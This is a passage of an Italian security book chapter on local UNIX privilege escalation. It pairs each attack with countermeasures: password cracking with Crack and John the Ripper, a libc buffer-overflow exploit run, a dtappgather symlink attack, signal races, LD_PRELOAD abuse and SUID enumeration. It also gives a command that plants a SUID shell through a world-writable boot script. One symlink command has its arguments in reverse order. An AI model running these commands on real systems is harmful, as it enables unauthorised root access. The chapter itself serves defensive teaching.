3. Il risultato viene confrontato con la password cifrata fino a che non si trova il corrispondente

1. Parole scelte a caso vengono estratte da un dizionario

applaud → Cifratura → hKIAp62xG44
applause → Cifratura → 7qdR39bEv
apple → Cifratura → WmZw3gFv948ak

2. La parola viene cifrata

Dizionario di parole

Figura 7.4
Cracking delle password.

tura del file */etc/passwd*; quindi, se avete necessità di un ripasso, consultate un qualsiasi testo relativo a UNIX.

Crack 5.0a

Avviare Crack per l'elaborazione di un file di password è facilissimo: è sufficiente passargli un file di password e attendere il risultato. Crack si compila da solo quando viene eseguito, digitando il comando `make` per preparare i componenti necessari all'elaborazione. Uno dei punti di forza di Crack è l'incredibile numero di regole di permutazione delle parole base disponibile. Inoltre, ogni volta che viene avviato, viene costituito un vocabolario personalizzato, costruito prendendo tutti gli ID utente presenti e ogni parola fornita nel campo GECOS (il campo di commento del file `passwd`). Non sottovalutate l'importanza di questo campo: moltissimi utenti vi inseriscono il loro nome completo e utilizzano come password una variazione sul nome. Crack individua rapidamente queste password. Diamo un'occhiata a un file password poco sicuro e iniziamo il processo di crack:

```
root:cwIBREDaWLHmo:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
```

```
<other locked accounts omitted>
nobody:*:99:99:Nobody:/:
eric:GmTFg0AavFA0U:500:0::/home/eric:/bin/csh
samantha:XaDeasK8g8g3s:501:503::/home/samantha:/bin/bash
temp:kRWegG5iTZP5o:502:506::/home/temp:/bin/bash
hackme:nh.StBNcQnyE2:504:1::/home/hackme:/bin/bash
bob:9wynbWzXinBQ6:506:1::/home/bob:/bin/csh
es:0xUH89TiymLcc:501:501::/home/es:/bin/bash
mother:jxZd1tcz3wW2Q:505:505::/home/mother:/bin/bash
jfr:kyzKROryhFDE2:506:506::/home/jfr:/bin/bash
```

Per eseguire Crack si utilizza il comando seguente:

```
[tsunami]# Crack passwd
Crack 5.0a: The Password Cracker.
(c) Alec Muffett, 1991, 1992, 1993, 1994, 1995, 1996
System: Linux  2.0.36 #1 Tue Oct 13 22:17:11 EDT 1998 i686 unknown
<omitted for brevity>

Crack: The dictionaries seem up to date...
Crack: Sorting out and merging feedback, please be patient...
Crack: Merging password files...
Crack: Creating gecos-derived dictionaries
mkgecosd: making non-permuted words dictionary
mkgecosd: making permuted words dictionary
Crack: launching: cracker -kill run/system.11324

Done
```

Crack a questo punto è in esecuzione in background e salva l'output in un database, per consultare il quale e controllare se qualche password è stata scoperta dobbiamo avviare `Reporter`:

```
[tsunami]# Reporter -quiet
---- passwords cracked as of Sat 13:09:50 EDT  ----

Guessed eric [jenny]           [passwd /bin/csh]
Guessed hackme [hackme]        [passwd /bin/bash]
Guessed temp [temp]            [passwd /bin/bash]
Guessed es [eses]              [passwd /bin/bash]
Guessed jfr [solaris1]         [passwd /bin/bash]
```

Utilizzando l'opzione `-quiet` abbiamo visualizzato le password scoperte finora. Se eseguiamo `Reporter` senza specificare opzioni, vengono visualizzati errori, warning e password bloccate. Insieme a Crack vengono forniti diversi script molto utili: tra essi possiamo trovare `shadmrg.sv`, che è impiegato per unire il file password di UNIX al file shadow. In questo modo vengono combinate in un unico file tutte le informazioni necessarie al crack. Tra gli altri comandi interessanti c'è `make tidy`, che viene utilizzato per rimuovere gli utenti rimasti dopo aver eseguito Crack.
Infine dobbiamo spiegare come individuare l'algoritmo che viene utilizzato per creare gli hash delle password. Nel nostro esempio viene utilizzato DES, che è l'algoritmo standard per molte distribuzioni di UNIX. Per avere maggiore sicurezza, alcuni sistemi consentono di utilizzare MD5 o blowfish, due tipi di algoritmi di cifratura molto potenti. L'hash di una password creato con MD5 è decisamente più lungo di un corrispondente hash DES, e inizia sempre con i caratteri "$1". Invece, un hash

blowfish inizia sempre con i caratteri "$2". Se dovete eseguire il crack di password cifrate con MD5 o blowfish, vi consigliamo vivamente di utilizzare John the Ripper.

John the Ripper

John the Ripper di Solar Designer è uno dei migliori programmi di utilità per il crack delle password tra quelle disponibili. È disponibile all'indirizzo `http://www.openwall.com/john/`. Qui troverete la versione di John per piattaforme UNIX e NT, il che è un vantaggio per utenti Windows. Come abbiamo già detto, John è uno dei programmi per il crack delle password più veloci attualmente disponibili, ed è estremamente semplice da eseguire:

```
[shadow]# john passwd
Loaded 9 passwords with 9 different salts (Standard DES [24/32 4K])
hackme           (hackme)
temp             (temp)
eses             (es)
jenny            (eric)
t78              (bob)
guesses: 5  time: 0:00:04:26 (3)  c/s: 16278  trying: pireth - StUACT
```

Eseguiamo il comando `john` passando come argomento il file `passwd` desiderato e il gioco è fatto: il programma è in grado di identificare l'algoritmo di cifratura associato, DES nel nostro caso, e iniziare la procedura di ricerca delle password. Inizialmente utilizza un dizionario dei termini, `password.lst`, per poi passare all'attacco per forza bruta. Come potete vedere, la versione di "serie" di John è stata in grado di identificare l'utente bob, mentre Crack aveva identificato l'utente jfr. Ogni programma fornisce risultati differenti. Questo è dovuto principalmente alle dimensioni ridotte del file delle parole fornito con `john`; pertanto vi consigliamo di utilizzare un dizionario dei termini più esteso controllato dal file `john.ini`. Sono disponibili delle raccolte di liste di password complete all'indirizzo `http://packetstormsecurity.org/Crackers/wordlists/`.

Contromisure per la scelta delle password

Fate riferimento al paragrafo "Contromisure agli attacchi a forza bruta" in questo stesso capitolo.

Buffer overflow locale

Diffusione:	*10*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*10*

Gli attacchi locali di buffer overflow sono estremamente diffusi. Come abbiamo già evidenziato nel paragrafo "Attacchi remoti", le condizioni di buffer overflow consentono all'hacker di eseguire comandi o programmi sul server target a sua discrezione. Molto spesso i buffer overflow vengono utilizzati per eseguire l'attacco di file SUID root, consentendo così di eseguire comandi con i privilegi di root. Abbiamo

già visto in che modo rendono possibile l'esecuzione di codice e comandi. In questo paragrafo analizzeremo invece esempi di buffer overflow locali.
Nel maggio 1999, Shadow Penguin Security ha emesso una informativa relativa alla presenza di una condizione di buffer overflow nella libreria libc che riguarda la variabile di ambiente LC_MESSAGES. Ogni programma SUID che è collegato dinamicamente a libc e utilizza la variabile di ambiente LC_MESSAGES può essere soggetto a questo attacco, che espone quindi moltissimi programmi, dato che la condizione è stata riscontrata in una libreria di sistema (libc) e non in un programma specifico. Questo è molto importante ed è il motivo per cui abbiamo scelto questo esempio. Una condizione di buffer overflow può interessare molti programmi differenti, se viene rilevata in libc. Vediamo come viene sfruttato questo punto debole.
Innanzitutto dobbiamo compilare l'effettivo programma di attacco. I risultati ottenuti potrebbero differire notevolmente, in quanto il codice è molto complesso. Il lavoro da svolgere potrebbe essere anche impegnativo, perché spesso dovrete ritoccare il codice sorgente per poterlo compilare, dal momento che il programma è dipendente dalla piattaforma utilizzata. Questo attacco particolare è scritto per Solaris 2.6 e 2.7. Per compilare il codice abbiamo utilizzato `gcc`, il compilatore GNU, visto che Solaris non viene di solito distribuito con un proprio compilatore. Il codice sorgente è segnalato da `*.c`. Il programma sorgente è `ex_lobc.c`. L'eseguibile generato è `ex_lobc`:

```
[quake]$ gcc ex_lobc.c -o ex_lobc
```

Di seguito eseguiamo `ex_lobc`, che genera la condizione di overflow in libc attraverso un programma SUID come per esempio `/bin/passwd`:

```
[quake]$ ./ex_lobc
jumping address : efffe7a8
#
```

L'attacco passa a uno specifico indirizzo di memoria e avvia `/bin/sh` con i privilegi di root: il risultato è l'inconfondibile cancelletto #, che indica che abbiamo ottenuto l'accesso come root. Questo esercizio è molto semplice e potrebbe farci apparire come grandissimi esperti di sicurezza. In realtà alla Shadow Penguin Security hanno lavorato intensamente per scoprire e sfruttare l'overflow. Come potete immaginare, la cosa maggiormente desiderata da un hacker che accede localmente a UNIX è proprio la possibilità di diventare utente root.

Contromisure ai buffer overflow locali

Le migliori contromisure per le condizioni di buffer overflow consistono nel migliorare le tecniche di programmazione e nel disattivare l'esecuzione dello stack. Se l'esecuzione dello stack viene impedita, è decisamente più difficile provocare una condizione di buffer overflow. Per l'elenco completo dei metodi di difesa di veda il paragrafo "Contromisure ai buffer overflow". Rimuovete il bit SUID da qualunque file non richieda assolutamente tali autorizzazioni.

Symlink

Diffusione:	*7*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*9*

File spazzatura, file temporanei, area di scarto: molti sistemi sono sommersi da spazzatura elettronica. Per fortuna in UNIX la maggior parte dei file temporanei viene creata nell'unica directory `/tmp`, che è il posto migliore per memorizzare file temporanei, ma spesso l'utilizzo diventa abuso. Molti programmi con SUID root sono scritti per creare in `/tmp`, o in altre directory, file temporanei di importante utilizzo senza il minimo controllo di sicurezza. Il primo problema si riferisce ai programmi che seguono i link simbolici ad altri file fidandosi ciecamente. Un *link simbolico* è un meccanismo grazie al quale viene creato un file con l'utilizzo del comando `ln`: è un nome di file che punta a un altro file. Creiamo un link simbolico `/tmp/foo` che punta a `/etc/passwd`:

```
[quake]$ ln -s /tmp/foo /etc/passwd
```

Se eseguiamo `cat` sul file `/tmp/foo`, otteniamo il contenuto del file delle password. Questo comportamento lecito rappresenta però una possibilità latente di intrusione. Anche se molto spesso vengono sfruttati i file presenti in `/tmp` per tentare un'intrusione, esistono applicazioni che creano file temporanei in altre posizioni. Esaminiamo un esempio reale per comprendere il meccanismo di questo attacco, come `dtappgather` per ambiente Solaris.

`dtappgather` è una utilità che fa parte del Common Desktop Environment. Ogni volta che si esegue `dtappgather`, viene creato il file temporaneo `/var/dt/appconfig/appmanager/generic-display-0` e vengono impostate le autorizzazioni del file a 0666. Anche la proprietà del file è modificata, impostando l'UID dell'utente che ha avviato il programma. Sfortunatamente `dtappgather` non esegue alcun controllo per stabilire se il file esiste o se è un link simbolico. Se l'hacker crea un link simbolico da `/var/dt/appconfig/appmanager/generic-display-0` verso un altro file (per esempio, `/etc/passwd`), le autorizzazioni di tale file vengono portate a 0666, e la sua proprietà passa all'utente che l'hacker sta utilizzando. Possiamo vedere la situazione del file `/etc/passwd` prima che venga avviato il programma: la proprietà del file è root:sys:

```
[quake]$ ls -l /etc/passwd
-r-xr-xr-x   1 root     sys          560 May  5 22:36 /etc/passwd
```

Ora creiamo un link simbolico `/var/dt/appconfig/appmanager/generic-display-0` al file `/etc/passwd`:

```
[quake]$ ln -s /etc/passwd /var/dt/appconfig/appmanager/generic-display-0
```

Per finire eseguiamo `dtappgather` e verifichiamo le autorizzazioni di `/etc/passwd`:

```
[quake]$ /usr/dt/bin/dtappgather
MakeDirectory: /var/dt/appconfig/appmanager/generic-display-0: File exists
[quake]$ ls -l /etc/passwd
-r-xr-xr-x   1 gk       staff        560 May  5 22:36 /etc/passwd
```

`dtappgather` ha seguito ciecamente il link simbolico a `/etc/passwd`, e ha modificato la proprietà del file. Potete anche ripetere la stessa operazione sul file `/etc/shadow`. Una volta che la proprietà di `/etc/passwd` e di `/etc/shadow` è passata al vostro utente, potete modificare entrambi i file e aggiungere un nuovo UID 0 (equivalente a root). Fine del gioco in meno di un minuto.

Contromisure per i link simbolici

La migliore difesa contro questi attacchi consiste nel migliorare i metodi di programmazione. Per nostra sfortuna molti programmi operano senza effettuare controlli sui file esistenti. I programmatori dovrebbero verificare se il file esiste, prima di crearne uno, utilizzando i flag O_EXCL | O_CREAT. Quando vengono creati file temporanei, impostate UMASK e utilizzate le funzioni `tmpfile()` o `mktemp()`. Se siete interessati a vedere un altro esempio di programma che crea file temporanei, eseguite il seguente comando in `/bin` oppure in `/usr/sbin`:

```
[quake]$ strings * |grep tmp
```

Se il programma è SUID, c'è la possibilità per un hacker di eseguire un attacco di tipo link simbolico. Anche in questo caso rimuovete il bit SUID da ogni possibile file, per attenuare il rischio di vulnerabilità.

Sfruttare gli handler dei segnali (condizioni di corsa)

Diffusione:	*8*
Semplicità:	*5*
Impatto:	*9*
Fattore di rischio:	*7*

In molte battaglie reali, vige la regola di avvantaggiarsi sull'avversario nel momento in cui questo è maggiormente in difficoltà. Questo assioma è valido anche negli assalti virtuali. Gli hacker cercano di sfruttare programmi che stanno eseguendo operazioni privilegiate. Spesso questo si traduce nel rimandare un attacco in modo tale da poterlo sferrare subito dopo che il programma o processo è entrato in modalità privilegiata, ma prima che questa modalità venga nuovamente disattivata. Spesso c'è solamente un breve intervallo temporale in cui l'hacker può mettere in pratica i suoi propositi. Una vulnerabilità che consente a un hacker di sfruttare questa opportunità è definita *race condition* (condizione di corsa). Se gli attaccanti arrivano a compromettere il file o il processo con successo nel corso di questa sua modalità privilegiata, questo evento è definito come "winning the race" (vincere la corsa). Esistono molti modi diversi per sfruttare le finestre temporali. Parleremo in particolare dei metodi che sfruttano la gestione dei segnali UNIX, poiché sono molto diffusi.

Nozioni sui segnali

I *segnali* sono un meccanismo di UNIX utilizzato per notificare a un processo che una qualche condizione è attiva, e per gestire gli eventi asincroni. Per esempio, se un utente desidera sospendere un programma attivo deve premere CTRL+Z: questa operazione invia il segnale `SIGTSTP` a tutti i processi appartenenti al gruppo in esecuzione. In questo caso i segnali sono utilizzati per modificare

il flusso di esecuzione di un programma. Anche questa volta deve squillare un campanello d'allarme, in quanto parliamo di qualcosa in grado di alterare la normale esecuzione di un programma. La possibilità di modificare le operazioni eseguite dai programmi è il più importante fattore relativo alla sicurezza della gestione dei segnali. Ricordate che `SIGTSTP` è solamente uno dei trenta e più tipi di segnale disponibili.
Un esempio di anomalia nell'utilizzo di segnali è presente in wu-ftpd v2.4: questo punto vulnerabile è stato scoperto nel 1996, e consentiva a utenti, anonimi e non, di accedere ai file come utenti root. Era provocato da un difetto nel server FTP relativo alla gestione dei segnali, che installava due handler di segnale in fase di avvio. Uno dei due era utilizzato per intercettare `SIGPIPE` quando la connessione alla porta veniva chiusa, l'altro intercettava `SIGURG` nel momento in cui veniva utilizzato ABOR (per annullare il trasferimento di file). Di norma, quando un utente si collega a un server FTP, il server è attivo con l'effettivo UID dell'utente, non come utente root. Se la connessione dati viene chiusa in modo inaspettato, viene inviato il segnale `SIGPIPE` al server FTP, il quale esegue la funzione `dologout()` e passa ai privilegi dell'utente root (UID 0). Il server aggiunge una nuova riga al log di sistema, chiude il file di log `xferlog`, rimuove l'istanza del server di proprietà dell'utente dalla tabella dei processi attivi ed esce. Il momento in cui il server passa all'UID 0 è la fase vulnerabile all'attacco. L'hacker deve inviare il segnale `SIGURG` al server FTP mentre l'UID è 0, interrompendolo mentre tenta di scollegare l'utente; deve poi passare di nuovo alla funzione principale di esecuzione del server. Questa operazione crea una race condition nell'intervallo di tempo compreso tra il momento di passaggio all'UID 0 e lo scollegamento effettivo dell'utente. Se l'attacco ha successo (di solito dopo alcuni tentativi), l'utente è ancora connesso al server FTP con i privilegi di root, e l'hacker può servirsi dei comandi `put` e `get` per accedere a qualunque file.

Contromisure agli attacchi agli handler dei segnali

Quando si lavora con file SUID è assolutamente necessario attivare funzioni sicure di gestione dei segnali. L'utente non può agire per modificare programmi e assicurarsi che gli handler di segnale siano corretti: è un compito del programmatore. Anche questa volta vi rammentiamo di ridurre il numero di file SUID, se non necessari, e di applicare tutti gli aggiornamenti disponibili per i software in uso.

Manipolazione dei file core

Diffusione:	7
Semplicità:	9
Impatto:	4
Fattore di rischio:	7

Anche la creazione di un file core quando i programmi o i processi generano errori è un problema di sicurezza, oltre a essere una seccatura per l'utente. All'interno della memoria sono presenti moltissime informazioni delicate, tra cui gli hash delle password lette dal file `passwd` o da un file shadow. Prendiamo come esempio un punto vulnerabile che era presente nel file core relativo alle prime versioni di FTPD. FTPD consentiva di provocare la scrittura di un file core accessibile a chiunque, se il comando `PASV` veniva inviato prima di procedere all'autenticazione al server. Il file

core conteneva porzioni del file shadow, e in molti casi gli hash delle password degli utenti, la presenza dei quali consentiva di procedere con il crack delle password e con il successivo attacco al sistema, come abbiamo già visto.

Contromisure all'attacco dei file core

I file core sono mali necessari: anche se rendono disponibili informazioni riservate agli hacker, in realtà consentono di conservare preziose informazioni relative a programmi e processi che si interrompono. In base alle vostre esigenze di sicurezza, è possibile limitare il sistema nella creazione dei file core utilizzando il comando `ulimit`: impostandolo a 0 viene disattivata la generazione di file core. Per maggiori informazioni, consultate la pagina di manuale relativa a `ulimit`:

```
[tsunami]$ ulimit -a
core file size (blocks)     unlimited
[tsunami]$ ulimit -c 0
[tsunami]$ ulimit -a
core file size (blocks)     0
```

Librerie condivise

Diffusione:	*4*
Semplicità:	*4*
Impatto:	*9*
Fattore di rischio:	*6*

Le librerie condivise consentono ai programmi eseguibili di richiamare porzioni di codice da una libreria comune. Questo codice viene collegato al programma durante la compilazione. Quando l'applicazione viene eseguita, questa fa riferimento a una libreria condivisa per poter reperire il codice necessario all'esecuzione. Il vantaggio maggiore di questa tecnica consiste nel risparmio di spazio su disco e in memoria e nella gestione enormemente facilitata del codice della libreria. Aggiornando una libreria, vengono in realtà aggiornati tutti i programmi che la utilizzano. Ovviamente ci sono problemi di sicurezza: se un hacker riesce a modificare una libreria condivisa, o a fornire in pasto al programma una libreria differente (attraverso una variabile di ambiente), è in grado di impadronirsi dell'utente root in breve tempo.
Un esempio di questo tipo di attacco è stato riscontrato in `in.telnetd` (documento CERT CA-95.14). Il problema è abbastanza vecchio ma fornisce un esempio interessante. Alcune versioni di `in.telnetd` rendevano possibile il passaggio di variabili di ambiente al sistema remoto quando l'utente tentava di stabilire una connessione (RFC 1408 e 1572): in questo modo l'hacker poteva impostare la variabile di ambiente LD_PRELOAD quando eseguiva la connessione remota via `telnet`, e ottenere l'accesso come utente root.
Per poter sfruttare correttamente il difetto, era necessario posizionare in qualche modo una versione modificata della libreria condivisa. In seguito, modificando la variabile di ambiente LD_PRELOAD si costringeva il sistema a utilizzare la libreria condivisa, opportunamente modificata. Quando `in.telnetd` eseguiva `/bin/login` per autenticare l'utente, il sistema caricava la libreria contraffatta e ridefiniva la chiamata alla libreria originale: questo consentiva all'utente di eseguire una sessione come utente root.

Contromisure per le librerie condivise

Il linker dinamico dovrebbe ignorare la variabile di ambiente LD_PRELOAD per i programmi che sono SUID root. I puristi potrebbero obiettare che le librerie condivise dovrebbero essere scritte in modo corretto, e in questo modo sarebbe anche sicuro specificare la variabile LD_PRELOAD. In realtà, esistono diversi problemi che potrebbero esporre il sistema ad attacchi, quando viene eseguito qualche programma che è SUID root. Inoltre le librerie condivise (per esempio `/usr/lib` o `/lib`) dovrebbero essere protette alla stregua dei file più delicati del vostro sistema. Se un hacker dovesse ottenere l'accesso a `/usr/lib` o `/lib`, il sistema sarebbe spacciato.

Difetti del kernel

Non è un segreto che UNIX sia considerato da tutti un sistema operativo complesso e molto solido. Tale complessità porta inevitabilmente a difetti di programmazione. Nei sistemi UNIX, i difetti più nefasti sono associati al kernel stesso, che è il principale componente del sistema operativo, responsabile della sicurezza. Questo modello comprende il rispetto delle autorizzazioni di accesso a file e directory, la scalata e la rinuncia ai privilegi dei file SUID, la risposta del sistema ai segnali, e così via. Se il kernel presenta un difetto di sicurezza, tutto il sistema è in grave pericolo. Un esempio di difetto del kernel che colpisce milioni di sistemi è stato scoperto nel giugno del 2000, ed è relativo a quasi tutti i kernel Linux 2.2.*x* sviluppati a quella data. Questo punto debole è connesso alle "funzionalità POSIX" recentemente implementate nel kernel Linux, ideate per consentire un controllo maggiore sui processi privilegiati. Fondamentalmente, il loro scopo è quello di migliorare la sicurezza complessiva del sistema. Sfortunatamente, a causa di un difetto di programmazione, questa misura di sicurezza non funziona nel modo desiderato. Tale difetto può essere sfruttato facendo in modo che i programmi SUID (per esempio, `sendmail`) non rilascino i privilegi quando dovuto: un hacker che ha conseguito l'accesso alla shell di un sistema vulnerabile può portare i propri diritti a livello di utente root.

Contromisure per i difetti del kernel

Questa vulnerabilità colpisce molti sistemi Linux ed è qualcosa che gli amministratori devono risolvere con urgenza. Fortunatamente, la soluzione è disponibile e semplice da implementare. Per gli utenti che dispongono della versione 2.2.x del kernel, è sufficiente eseguire l'aggiornamento alla versione 2.2.16 o superiore.

Configurazioni non corrette del sistema

Abbiamo tentato di analizzare tutti i metodi più comuni per fare leva sui punti vulnerabili conosciuti e ottenere l'accesso al sistema. L'elenco è abbastanza completo, ma esistono tantissimi altri metodi che possono essere utilizzati per attaccare un sistema vulnerabile. Un sistema può essere compromesso a causa di configurazioni non corrette o di un certo lassismo degli amministratori di sistema. Un sistema può essere estremamente sicuro, ma se l'amministratore di sistema modifica le autorizzazioni del file `/etc/passwd`, consentendone la modifica a chiunque, tutti gli sforzi ai fini della sicurezza sono inutili. Insomma, è il fattore umano che decreta la sconfitta di moltissimi sistemi.

Autorizzazioni di accesso a file e directory

Diffusione:	*8*
Semplicità:	*9*
Impatto:	*7*
Fattore di rischio:	*8*

La semplicità e potenza di UNIX deriva dal concetto di file, siano essi file eseguibili, file di configurazione testuali o dispositivi: tutto quanto è considerato un file è associato ad autorizzazioni di accesso. Se le autorizzazioni sono assegnate in modo sconsiderato o se l'amministratore di sistema le ritocca distrattamente, la sicurezza del server può essere gravemente compromessa. I due filoni principali in questo frangente sono i file SUID root e i file accessibili in scrittura da chiunque. Questi due argomenti vengono trattati di seguito. La sicurezza della directory `/dev` (che contiene i dispositivi) non viene analizzata in dettaglio per motivi di spazio: assicuratevi di assegnare le autorizzazioni corrette a ciascun dispositivo.
Un hacker che può creare dispositivi o leggere e scrivere su file chiave del sistema (per esempio `/dev/kmem`) o sul disco stesso potrebbe avere facilmente accesso al sistema come root. Un codice dimostrativo interessante è stato sviluppato da Mixter ed è disponibile all'indirizzo `http://mixter.warrior2k.com/rawpowr.c`. Questo codice non è però per i deboli di cuore perché potrebbe danneggiare il file system. Consigliamo vivamente di eseguirlo su un sistema di test in cui l'eventuale danneggiamento del file system non sia motivo di preoccupazione.

File SUID

I file "set user ID root" (SUID) e "set group ID root" (SGID) sono letali! Nessun altro file in un sistema UNIX è esposto tanto quanto un file SUID root. Praticamente tutti gli attacchi menzionati finora approfittano di processi che sono attivi come utenti root: la maggior parte di questi era un programma SUID root. I buffer overflow, gli attacchi agli handler dei segnali e ai link simbolici sarebbero tutti inutili se il programma non fosse SUID root. È abbastanza spiacevole che la maggior parte dei distributori di UNIX utilizzi massicciamente e in maniera troppo disinvolta il bit SUID. Gli utenti che non si preoccupano troppo di sicurezza hanno la stessa mentalità: sono così pigri da non intraprendere quei pochi passaggi aggiuntivi per svolgere un determinato compito e risolvono tutto facendo girare i programmi come root.
Per sfruttare a proprio vantaggio questa situazione, l'hacker che accede al sistema tenta immediatamente di individuare i file SUID e SGID. Di solito viene utilizzato il comando `find`, per rintracciare tutti i file SUID e creare un elenco che può essere molto utile per tentare l'accesso a root. Diamo un'occhiata al risultato della ricerca in un sistema di serie Linux. Il risultato esposto è stato troncato perché troppo esteso:

```
[tsunami]# find / -type f -perm -04000 -ls

-rwsr-xr-x 1 root root       30520 May  5  1998 /usr/bin/at
-rwsr-xr-x 1 root root       29928 Aug 21  1998 /usr/bin/chage

-rwsr-xr-x 1 root root       29240 Aug 21  1998 /usr/bin/gpasswd
-rwsr-xr-x 1 root root      770132 Oct 11  1998 /usr/bin/dos
-r-sr-sr-x 1 root root       13876 Oct  2  1998 /usr/bin/lpq
-r-sr-sr-x 1 root root       15068 Oct  2  1998 /usr/bin/lpr
```

```
-r-sr-sr-x 1 root root       14732 Oct  2  1998 /usr/bin/lprm
-rwsr-xr-x 1 root root       42156 Oct  2  1998 /usr/bin/nwsfind
-r-sr-xr-x 1 root bin        15613 Apr 27  1998 /usr/bin/passwd
-rws--x--x 2 root root      464140 Sep 10  1998 /usr/bin/suidperl

<output omesso per brevità>
```

Molti dei programmi elencati (per esempio chage e passwd) richiedono l'impostazione SUID per poter funzionare. L'hacker si concentra sui programmi SUID di cui conosce i problemi passati o che sono probabilmente molto vulnerabili per le loro caratteristiche o complessità. Il programma dos potrebbe essere un ottimo punto di partenza: crea infatti una macchina virtuale e richiede l'accesso diretto alle risorse del sistema per svolgere diverse operazioni. L'hacker è sempre alla ricerca di programmi SUID che abbiano qualche caratteristica particolare, o che non debbano interagire con altri programmi SUID. Svolgiamo qualche ricerca nel file HOWTO del programma dos. Siamo interessati a scoprire se ci sia qualche punto vulnerabile nell'avvio di dos come SUID. Se è così, abbiamo trovato la nostra strada.
Il file HOWTO afferma: "Anche se dosemu non utilizza root quando non è necessario, è sempre meglio evitare di avviare dosemu come root, specialmente se avviate programmi DPMI sotto dosemu. Le più normali applicazioni DOS non necessitano che dosemu sia avviato come root, specialmente se avviate dosemu in ambiente X. Per questo motivo non dovreste consentire agli utenti di avviare dosemu come SUID root, quando è possibile. È possibile effettuare questa impostazione, specifica per ogni utente, all'interno del file /etc/dosemu.users".
La documentazione afferma chiaramente di non avviare questo programma SUID. Nel file /etc/dosemu.users del sistema che stiamo analizzando non c'è alcuna impostazione di limitazione agli utenti. Questo genere di mancata configurazione è esattamente quello che un hacker ricerca con ansia. In questo sistema è presente un file che offre un'alta probabilità di accesso al sistema come root. Un hacker potrebbe ricercare se c'è in giro qualche voce su malfunzionamenti di dos come processo SUID o potrebbe sbizzarrirsi alla ricerca di condizioni di buffer overflow, problemi ai link simbolici e così via. Questo è un classico caso di programma SUID assolutamente non necessario, che pone in serio pericolo la sicurezza del sistema.

Contromisure per i file SUID

La migliore prevenzione consiste nel rimuovere il bit SUID/SGID da quanti più file possibile. Non è facile dare un elenco esauriente di file che non devono essere SUID, perché esistono grandi differenze tra le varie versioni di UNIX presenti. Qualunque elenco sarebbe sicuramente incompleto. Vi consigliamo di eseguire un inventario dei file SUID/SGID del sistema e verificare caso per caso la necessità di questa impostazione. Dovreste utilizzare gli stessi metodi di avvicinamento di un intruso, per valutare quali file possano essere SUID e quali no. Trovate tutti i file SUID/SGID e iniziate la ricerca. Il comando seguente rintraccia tutti i file SUID:

```
find / -type f -perm -04000 -ls
```

Questo invece evidenzia tutti i file SGID:

```
find / -type f -perm -02000 -ls
```

Consultate le pagine man, la documentazione e gli HOWTO, per verificare in quali casi gli autori raccomandano di rimuovere i file SUID. Dalla vostra analisi potreste rimanere sorpresi di quanti file in effetti non richiedano i privilegi SUID/SGID. Come sempre, eseguite test di funzionamento in un ambiente separato prima di rimuovere il bit SUID/SGID dai file dei sistemi di produzione. Ricordate che c'è comunque un certo numero di file che deve rimanere SUID per il corretto funzionamento del sistema.

Gli utenti Linux e HP-Ux possono utilizzare Bastille (`http://www.bastille-linux.org/`), uno strumento creato da Jay Bale per rafforzare la protezione del loro sistema contro la maggior parte degli attacchi citati in precedenza, in particolare per rimuovere l'impostazione SUID da numerosi file. Bastille è stata originariamente progettata per rafforzare i sistemi RedHat (che ne hanno particolarmente bisogno). Tuttavia le versioni 1.20 e superiori possono essere facilmente adattate ad altre distribuzioni Linux.

File con accesso in scrittura

Un altro degli errori più comuni di configurazione consiste nell'autorizzare l'accesso in scrittura a file importanti da parte di chiunque, rendendo così possibile la modifica di questi ultimi. Anche in questo caso, le impostazioni di questo tipo vengono generalmente scelte per motivi di comodità. Le conseguenze in termini di sicurezza possono però essere gravi, soprattutto se l'autorizzazione è stata concessa per file importanti. L'hacker non trascura nulla, mentre spesso l'amministratore lo fa. Spesso i file di inizializzazione del sistema sono impostati in questo modo, così come lo sono i file di configurazione o di avvio dell'utente. Vediamo come sia possibile individuare e sfruttare file di questo tipo:

```
find / -perm -2 -type f -print
```

Si ricorre al comando `find` per individuare file con autorizzazione di accesso in scrittura da parte di qualunque utente:

```
etc/rc.d/rc3.d/S99local
/var/tmp
/var/tmp/.X11-unix
/var/tmp/.X11-unix/X0
/var/tmp/.font-unix
/var/lib/games/xgalscores
/var/lib/news/innd/ctlinnda28392
/var/lib/news/innd/ctlinnda18685
/var/spool/fax/outgoing
/var/spool/fax/outgoing/locks
/home/public
```

Osservando il risultato possiamo rilevare qualche problema. Innanzitutto `/etc/rc.d/rc3.d/S99local` è uno script di avvio accessibile a chiunque in scrittura. Questa situazione è molto pericolosa perché può essere sfruttata per ottenere i privilegi di root. Quando il sistema viene avviato, `S99local` è appunto eseguito come root. Per questo motivo al prossimo riavvio del sistema può essere aperta una shell SUID eseguendo questa modifica al file:

```
[tsunami]$ echo "/bin/cp /bin/sh /tmp/.sh ; /bin/chmod 4755 /tmp/.sh" \
/etc/rc.d/rc3.d/S99local
```

Al successivo avvio viene generata una shell SUID in `/tmp`. Possiamo vedere che anche la directory `/home/public` è accessibile in scrittura. Ogni file presente in questa directory può essere sostituito con il semplice utilizzo del comando `mv`. Questo è possibile perché le autorizzazioni sulla directory hanno la precedenza su quelle dei file. Un hacker può modificare i file di avvio della shell dell'utente `public` (per esempio `.login` oppure `.bashrc`) per creare un file utente SUID. Quando `public` si è connesso al sistema, una sua shell SUID rimane in attesa di un hacker per essere utilizzata.

Contromisure per i file con accesso in scrittura

Dovrebbe essere una regola generale utilizzare `find` per cercare file e directory con accesso in scrittura su qualunque sistema dobbiate amministrare. Modificate le autorizzazioni di ogni file o directory che non hanno motivo di essere pubblici. Potrebbe essere difficile riuscire a individuare con esattezza cosa deve o non deve essere accessibile in scrittura da tutti, ma il metodo più sicuro consiste nell'affidarsi al buon senso. Se state pensando a file di inizializzazione, di configurazione di sistema o a file di avvio di utenti, tenete presente che nessuno di questi dovrebbe essere accessibile in scrittura. Ricordate, invece, che alcuni dispositivi presenti nella directory `/dev` devono essere accessibili in scrittura. Verificate caso per caso e anche questa volta eseguite test in ambienti di collaudo, se potete.
Anche se non rientra negli scopi di questo libro, possiamo accennare alla possibilità di attivare autorizzazioni estese per quei sistemi che le supportano. Potete migliorare la sicurezza dei file abilitando attributi di sola lettura, append (aggiunta in coda al file), e immutabilità per alcuni file chiave. Linux (con il comando `chattr`) e molte varianti di BSD consentono di modificare questi attributi, anche se sono utilizzati di rado. Combinate gli attributi estesi con i livelli di sicurezza del kernel (se disponibili) per aumentare il livello di sicurezza del sistema.

Utilizzo dell'accesso come root

